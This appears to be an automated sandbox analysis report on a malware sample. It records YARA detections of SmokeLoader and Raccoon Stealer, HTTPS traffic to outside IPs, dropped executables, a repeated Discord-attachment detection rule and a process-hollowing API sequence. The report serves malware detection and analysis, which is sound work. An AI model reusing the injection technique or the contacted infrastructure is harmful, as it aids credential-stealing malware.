Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.3:49900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.3:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.123.139.190:443 -> 192.168.2.3:50104 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.3:50105 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.3:50111 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 88.99.75.82:443 -> 192.168.2.3:50123 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.3:50127 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 88.99.75.82:443 -> 192.168.2.3:50129 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.160.132:443 -> 192.168.2.3:50130 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.123.139.190:443 -> 192.168.2.3:50139 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.123.139.190:443 -> 192.168.2.3:50141 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 29.3.CBF0.exe.3080000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.21.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.1.gbhudtb.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.CBF0.exe.3070e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.CBF0.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.1.Md0q201V1D.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.Md0q201V1D.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.gbhudtb.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.21.exe.2cc15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Md0q201V1D.exe.2d815a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.1.21.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.gbhudtb.2cb15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.gbhudtb.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.gbhudtb.2be15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.21.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.1.gbhudtb.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.21.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.21.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000000.326584645.0000000004DE1000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.400930179.0000000002061000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.400697119.0000000000580000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.438106147.0000000003080000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.449845582.0000000000561000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.449446646.0000000000530000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.338103224.00000000004F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.481901309.00000000048F1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.453324146.00000000031C1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.453199313.0000000003090000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.338316447.0000000001F91000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.480747015.0000000002D30000.00000004.00000001.sdmp, type: MEMORY

Source: 21.exe, 00000010.00000002.389134308.0000000002D3A000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 35.3.C066.exe.4960000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.3.C066.exe.4960000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000023.00000003.479598454.0000000004960000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: C066.exe PID: 5604, type: MEMORYSTR

System Summary:

.NET source code contains very large array initializations

Show sources

Source: BBE1.exe.10.dr, ???????????????.cs	Large array initialization: System.Byte[] ???????????????::???????????????: array initializer size 8704
Source: D8D0.exe.10.dr, ue60aue64bue63aue60cue62cue60aue610ue60fue63aue63due63aue60bue61cue63cue623.cs	Large array initialization: System.Byte[] ???????????????::???????????????: array initializer size 8704

PE file contains section with special chars

Show sources

Source: F1AC.exe.10.dr

Static PE information: section name: Cgw(O~.

Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56AB40	29_2_6B56AB40
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B563360	29_2_6B563360
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56A309	29_2_6B56A309
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57ABD8	29_2_6B57ABD8
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B598BE8	29_2_6B598BE8
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5F23E3	29_2_6B5F23E3
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5EEB8A	29_2_6B5EEB8A
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57EBB0	29_2_6B57EBB0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5FFA2B	29_2_6B5FFA2B
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B604AEF	29_2_6B604AEF
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B60E2C5	29_2_6B60E2C5
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B6132A9	29_2_6B6132A9
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B562990	29_2_6B562990
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5699BF	29_2_6B5699BF
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B578840	29_2_6B578840
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B546800	29_2_6B546800
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B601002	29_2_6B601002
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56A830	29_2_6B56A830
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B55B090	29_2_6B55B090
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B6067E2	29_2_6B6067E2
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5CAE60	29_2_6B5CAE60
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B566E30	29_2_6B566E30
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B612EF7	29_2_6B612EF7
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B562D50	29_2_6B562D50
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B611D55	29_2_6B611D55
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B540D20	29_2_6B540D20
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5735D0	29_2_6B5735D0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B562430	29_2_6B562430
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B604496	29_2_6B604496

Source: CAC5.exe.10.dr	Static PE information: Resource name: RT_CURSOR type: GLS_BINARY_LSB_FIRST
Source: CAC5.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: CAC5.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: CAC5.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: CAC5.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: CAC5.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: F11E.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: F11E.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: CBF0.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: CBF0.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: CBF0.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: CBF0.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: CBF0.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: CBF0.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: CBF0.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\explorer.exe

Section loaded: taskschd.dll

Jump to behavior

Source: Md0q201V1D.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 39.0.DF3A.exe.ed0000.11.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 31.0.DF3A.exe.a40000.3.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 24.0.B096.exe.a00000.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 24.2.B096.exe.a00000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 39.0.DF3A.exe.ed0000.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 39.0.DF3A.exe.ed0000.2.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 39.0.DF3A.exe.ed0000.13.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 31.0.DF3A.exe.a40000.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 39.0.DF3A.exe.ed0000.3.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 39.0.DF3A.exe.ed0000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 31.0.DF3A.exe.a40000.2.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 24.0.B096.exe.a00000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 39.0.DF3A.exe.ed0000.9.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 27.0.BBE1.exe.790000.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 27.0.BBE1.exe.790000.2.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 27.0.BBE1.exe.790000.3.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 39.0.DF3A.exe.ed0000.5.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 39.0.DF3A.exe.ed0000.7.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 31.0.DF3A.exe.a40000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 27.0.BBE1.exe.790000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 24.0.B096.exe.a00000.3.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 24.0.B096.exe.a00000.2.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe, type: DROPPED	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: C:\Users\user\AppData\Local\Temp\B096.exe, type: DROPPED	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: C:\Users\user\AppData\Local\Temp\DEDC.exe, type: DROPPED	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe, type: DROPPED	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: C:\Users\user\AppData\Local\Temp\D8D0.exe, type: DROPPED	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: C:\Users\user\AppData\Local\Temp\FD36.exe, type: DROPPED	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =

Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: String function: 6B59D08C appears 40 times
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: String function: 6B54B150 appears 128 times
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: String function: 6B5D5720 appears 76 times

Source: C:\Users\user\Desktop\Md0q201V1D.exe	Code function: 3_2_0040185B Sleep,NtTerminateProcess,	3_2_0040185B
Source: C:\Users\user\Desktop\Md0q201V1D.exe	Code function: 3_2_00401866 Sleep,NtTerminateProcess,	3_2_00401866
Source: C:\Users\user\Desktop\Md0q201V1D.exe	Code function: 3_2_0040187A Sleep,NtTerminateProcess,	3_2_0040187A
Source: C:\Users\user\Desktop\Md0q201V1D.exe	Code function: 3_2_0040163B NtMapViewOfSection,	3_2_0040163B
Source: C:\Users\user\Desktop\Md0q201V1D.exe	Code function: 3_2_004018D3 NtTerminateProcess,	3_2_004018D3
Source: C:\Users\user\Desktop\Md0q201V1D.exe	Code function: 3_2_00401884 Sleep,NtTerminateProcess,	3_2_00401884
Source: C:\Users\user\Desktop\Md0q201V1D.exe	Code function: 3_2_00401888 NtTerminateProcess,	3_2_00401888
Source: C:\Users\user\Desktop\Md0q201V1D.exe	Code function: 3_2_0040156A NtMapViewOfSection,	3_2_0040156A
Source: C:\Users\user\Desktop\Md0q201V1D.exe	Code function: 3_2_004015DB NtMapViewOfSection,NtMapViewOfSection,	3_2_004015DB
Source: C:\Users\user\Desktop\Md0q201V1D.exe	Code function: 3_2_004017EA Sleep,NtTerminateProcess,	3_2_004017EA
Source: C:\Users\user\Desktop\Md0q201V1D.exe	Code function: 3_1_0040156A NtMapViewOfSection,	3_1_0040156A
Source: C:\Users\user\Desktop\Md0q201V1D.exe	Code function: 3_1_004015DB NtMapViewOfSection,NtMapViewOfSection,	3_1_004015DB
Source: C:\Users\user\Desktop\Md0q201V1D.exe	Code function: 3_1_0040163B NtMapViewOfSection,	3_1_0040163B
Source: C:\Users\user\AppData\Roaming\gbhudtb	Code function: 14_2_02BE0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	14_2_02BE0110
Source: C:\Users\user\AppData\Local\Temp\21.exe	Code function: 19_2_0040185B Sleep,NtTerminateProcess,	19_2_0040185B
Source: C:\Users\user\AppData\Local\Temp\21.exe	Code function: 19_2_00401866 Sleep,NtTerminateProcess,	19_2_00401866
Source: C:\Users\user\AppData\Local\Temp\21.exe	Code function: 19_2_0040187A Sleep,NtTerminateProcess,	19_2_0040187A
Source: C:\Users\user\AppData\Local\Temp\21.exe	Code function: 19_2_0040163B NtMapViewOfSection,	19_2_0040163B
Source: C:\Users\user\AppData\Local\Temp\21.exe	Code function: 19_2_004018D3 NtTerminateProcess,	19_2_004018D3
Source: C:\Users\user\AppData\Local\Temp\21.exe	Code function: 19_2_00401884 Sleep,NtTerminateProcess,	19_2_00401884
Source: C:\Users\user\AppData\Local\Temp\21.exe	Code function: 19_2_00401888 NtTerminateProcess,	19_2_00401888
Source: C:\Users\user\AppData\Local\Temp\21.exe	Code function: 19_2_0040156A NtMapViewOfSection,	19_2_0040156A
Source: C:\Users\user\AppData\Local\Temp\21.exe	Code function: 19_2_004015DB NtMapViewOfSection,NtMapViewOfSection,	19_2_004015DB
Source: C:\Users\user\AppData\Local\Temp\21.exe	Code function: 19_2_004017EA Sleep,NtTerminateProcess,	19_2_004017EA
Source: C:\Users\user\AppData\Local\Temp\21.exe	Code function: 19_1_0040156A NtMapViewOfSection,	19_1_0040156A
Source: C:\Users\user\AppData\Local\Temp\21.exe	Code function: 19_1_004015DB NtMapViewOfSection,NtMapViewOfSection,	19_1_004015DB
Source: C:\Users\user\AppData\Local\Temp\21.exe	Code function: 19_1_0040163B NtMapViewOfSection,	19_1_0040163B
Source: C:\Users\user\AppData\Roaming\gbhudtb	Code function: 23_2_02CB0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	23_2_02CB0110
Source: C:\Users\user\AppData\Roaming\gbhudtb	Code function: 28_2_0040185B Sleep,NtTerminateProcess,	28_2_0040185B
Source: C:\Users\user\AppData\Roaming\gbhudtb	Code function: 28_2_00401866 Sleep,NtTerminateProcess,	28_2_00401866
Source: C:\Users\user\AppData\Roaming\gbhudtb	Code function: 28_2_0040187A Sleep,NtTerminateProcess,	28_2_0040187A
Source: C:\Users\user\AppData\Roaming\gbhudtb	Code function: 28_2_0040163B NtMapViewOfSection,	28_2_0040163B
Source: C:\Users\user\AppData\Roaming\gbhudtb	Code function: 28_2_004018D3 NtTerminateProcess,	28_2_004018D3
Source: C:\Users\user\AppData\Roaming\gbhudtb	Code function: 28_2_00401884 Sleep,NtTerminateProcess,	28_2_00401884
Source: C:\Users\user\AppData\Roaming\gbhudtb	Code function: 28_2_00401888 NtTerminateProcess,	28_2_00401888
Source: C:\Users\user\AppData\Roaming\gbhudtb	Code function: 28_2_0040156A NtMapViewOfSection,	28_2_0040156A
Source: C:\Users\user\AppData\Roaming\gbhudtb	Code function: 28_2_004015DB NtMapViewOfSection,NtMapViewOfSection,	28_2_004015DB
Source: C:\Users\user\AppData\Roaming\gbhudtb	Code function: 28_2_004017EA Sleep,NtTerminateProcess,	28_2_004017EA
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_0040181C Sleep,NtTerminateProcess,	29_2_0040181C
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_00402406 NtEnumerateKey,	29_2_00402406
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_00401F25 NtQuerySystemInformation,	29_2_00401F25
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_00401828 Sleep,NtTerminateProcess,	29_2_00401828
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_00402431 NtEnumerateKey,	29_2_00402431
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_004017DA Sleep,NtTerminateProcess,	29_2_004017DA
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_004017F8 NtTerminateProcess,	29_2_004017F8
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_0040209A NtQuerySystemInformation,	29_2_0040209A
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_004017A3 Sleep,NtTerminateProcess,	29_2_004017A3
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5899A0 ZwCreateSection,LdrInitializeThunk,	29_2_6B5899A0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B589860 ZwQuerySystemInformation,LdrInitializeThunk,	29_2_6B589860
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B589820 ZwEnumerateKey,LdrInitializeThunk,	29_2_6B589820
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5898C0 ZwDuplicateObject,LdrInitializeThunk,	29_2_6B5898C0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B589780 ZwMapViewOfSection,LdrInitializeThunk,	29_2_6B589780
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B58967A NtQueryInformationProcess,LdrInitializeThunk,	29_2_6B58967A
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B589660 ZwAllocateVirtualMemory,LdrInitializeThunk,	29_2_6B589660
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B589600 ZwOpenKey,LdrInitializeThunk,	29_2_6B589600
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B573B48 ZwClose,ZwClose,	29_2_6B573B48
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B58AB70 ZwReleaseWorkerFactoryWorker,	29_2_6B58AB70
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B542B7E ZwSetInformationThread,ZwClose,	29_2_6B542B7E
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B573B7A RtlAllocateHeap,ZwQuerySystemInformationEx,memset,RtlFreeHeap,	29_2_6B573B7A
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D8372 ZwClose,RtlStringFromGUIDEx,ZwCreateKey,RtlFreeUnicodeString,	29_2_6B5D8372
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5F6369 RtlInitUnicodeString,ZwOpenFile,ZwCreateSection,ZwMapViewOfSection,ZwClose,ZwClose,	29_2_6B5F6369
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B58AB60 ZwReleaseKeyedEvent,	29_2_6B58AB60
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D6365 RtlAllocateHeap,ZwQueryVirtualMemory,memcpy,wcsrchr,RtlFreeHeap,RtlAllocateHeap,memcpy,	29_2_6B5D6365
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B618B58 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6B618B58
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B575306 ZwReleaseKeyedEvent,	29_2_6B575306
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B544B00 TpCallbackMayRunLong,TpCallbackMayRunLong,ZwSetInformationWorkerFactory,	29_2_6B544B00
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B589B00 ZwSetValueKey,	29_2_6B589B00
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B549335 ZwClose,ZwClose,	29_2_6B549335
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B60131B RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6B60131B
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B542BC2 ZwOpenThreadToken,ZwSetInformationThread,ZwClose,	29_2_6B542BC2
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5423F6 ZwClose,RtlFreeHeap,	29_2_6B5423F6
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B589BF0 ZwAlertThreadByThreadId,	29_2_6B589BF0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B55A3E0 RtlFormatCurrentUserKeyPath,ZwQueryInformationToken,RtlLengthSidAsUnicodeString,RtlAppendUnicodeToString,RtlConvertSidToUnicodeString,RtlFreeUnicodeString,	29_2_6B55A3E0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B542B93 TpSetDefaultPoolMaxThreads,ZwDuplicateToken,	29_2_6B542B93
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B601BA8 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6B601BA8
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57939F RtlInitializeCriticalSectionEx,ZwDelayExecution,	29_2_6B57939F
